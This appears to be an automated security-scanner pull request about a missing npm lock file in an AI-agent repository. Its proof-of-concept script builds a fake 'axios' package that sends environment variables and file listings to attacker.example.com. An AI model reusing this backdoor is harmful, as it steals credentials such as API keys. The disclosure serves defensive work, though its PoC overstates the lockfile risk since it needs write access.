Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	High	In this multi-agent AI repository, exploitation via a compromised dependency could inject malicious code into the build or runtime, potentially compromising AI agents, models, or data processing pipelines, leading to unauthorized access or manipulation of sensitive information.
Likelihood	Medium	Supply chain attacks are a known vector for Node.js projects, but this specific repository appears to be a development tool for AI agents with limited deployment surface, requiring an attacker to target the npm registry or specific dependency versions, which is feasible but not trivially easy.
Ease of Fix	Easy	Remediation involves running 'npm install' to generate a package-lock.json file, which is a straightforward command with no code changes, dependencies, or testing required beyond verifying the lock file is committed.

How This Vulnerability Can Be Exploited

The vulnerability in this repository stems from the absence of a dependency lock file (e.g., package-lock.json), which means npm install can install non-deterministic versions of dependencies listed in package.json. An attacker could exploit this by compromising the npm registry or performing a dependency confusion attack, where a malicious package with a similar name to a legitimate dependency (e.g., "axios" or "express" as seen in the repo's dependencies) is installed, introducing backdoored code that executes during runtime. This is particularly risky for this repository, which appears to be a Node.js-based tool for managing AI agents, potentially running as a web service or CLI tool that processes user inputs and API interactions.

This is particularly risky for this repository, which appears to be a Node.js-based tool for managing AI agents, potentially running as a web service or CLI tool that processes user inputs and API interactions.

To demonstrate exploitation, an attacker would first identify the repository's dependencies from package.json (e.g., "axios": "^1.6.0", "express": "^4.18.0"). Without a lock file, versions are not pinned, allowing for supply chain injection. The attacker could publish a malicious package to npm with a name like "axioz" (typo-squatting on "axios") or use dependency confusion if the repo has private packages. Below is a concrete PoC script that simulates installing a malicious dependency and executing it in the context of this repository's setup, assuming it's cloned and run locally (e.g., via node index.js as indicated in the repo's scripts).

# Step 1: Clone the vulnerable repository (attacker needs access, which could be public)
git clone https://github.com/agentsmd/agents.md
cd agents.md

# Step 2: Simulate a compromised npm registry or dependency confusion
# Attacker publishes a malicious package named "axios-malicious" (version 1.6.1) that mimics "axios" but includes backdoor code
# In reality, this could be done via npm publish with a similar name if the registry allows it or via typosquatting
# For PoC, we'll create a local malicious package and modify package.json to point to it (simulating registry compromise)

# Create a malicious package locally (attacker's control)
mkdir malicious-axios
cd malicious-axios
npm init -y --name=axios --version=1.6.1  # Mimic the real axios package name and version range

# Add backdoor code in index.js (e.g., exfiltrate environment variables or execute shell commands)
echo 'const axios = require("axios"); // Real axios for functionality
module.exports = axios; // Export real axios to avoid breaking the app
// Backdoor: Send sensitive data to attacker server
const http = require("http");
const data = JSON.stringify({
  env: process.env,
  cwd: process.cwd(),
  files: require("fs").readdirSync(".") // List files in repo directory
});
const req = http.request({
  hostname: "attacker.example.com",
  port: 80,
  path: "/exfil",
  method: "POST",
  headers: { "Content-Type": "application/json" }
});
req.write(data);
req.end();
console.log("Backdoor executed: Data exfiltrated to attacker.");' > index.js

# Publish locally or to a test registry (for PoC, use npm link to simulate installation)
npm link

# Step 3: Modify the vulnerable repo's package.json to force installation of the malicious package
# Attacker could do this if they have write access (e.g., via PR or insider), or simulate via registry takeover
cd ../agents.md
sed -i 's/"axios": "^1.6.0"/"axios": "file:../malicious-axios"/' package.json  # Point to local malicious version

# Step 4: Run npm install (no lock file means it installs the malicious version without verification)
npm install

# Step 5: Execute the repository's main script (e.g., as per package.json scripts: "start": "node index.js")
# This triggers the backdoor in the malicious dependency
npm start  # Or node index.js directly
# Output: "Backdoor executed: Data exfiltrated to attacker." (plus normal app output)
# The backdoor runs on import, exfiltrating env vars (e.g., API keys like OPENAI_API_KEY if set), current directory, and file listings.

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	High	Successful exploitation could expose sensitive data processed by the agents.md tool, such as API keys (e.g., OpenAI or other AI service credentials stored in environment variables), user inputs to agents, or configuration files. The backdoor could exfiltrate this data to an attacker-controlled server, leading to credential theft and potential misuse of AI services or user data breaches.
System Compromise	Medium	The malicious dependency could execute arbitrary code with the privileges of the Node.js process (typically user-level, not root), allowing file system access, command execution, or further escalation if combined with other vulnerabilities (e.g., in the host environment). In a containerized deployment, it might not escape the container but could compromise the app's runtime.
Operational Impact	Medium	The backdoor might cause unexpected behavior or crashes in the agents.md application, disrupting AI agent operations or web services. If the malicious code includes resource-intensive operations, it could lead to denial-of-service via CPU exhaustion, affecting availability for users relying on the tool.
Compliance Risk	High	Violates OWASP Top 10 A06:2021 (Vulnerable Components) and could breach GDPR if user data is exfiltrated, SOC2 for secure software supply chains, and industry standards like NIST SP 800-161 for supply chain security. Audits for AI tools or web apps would flag this as a critical failure.
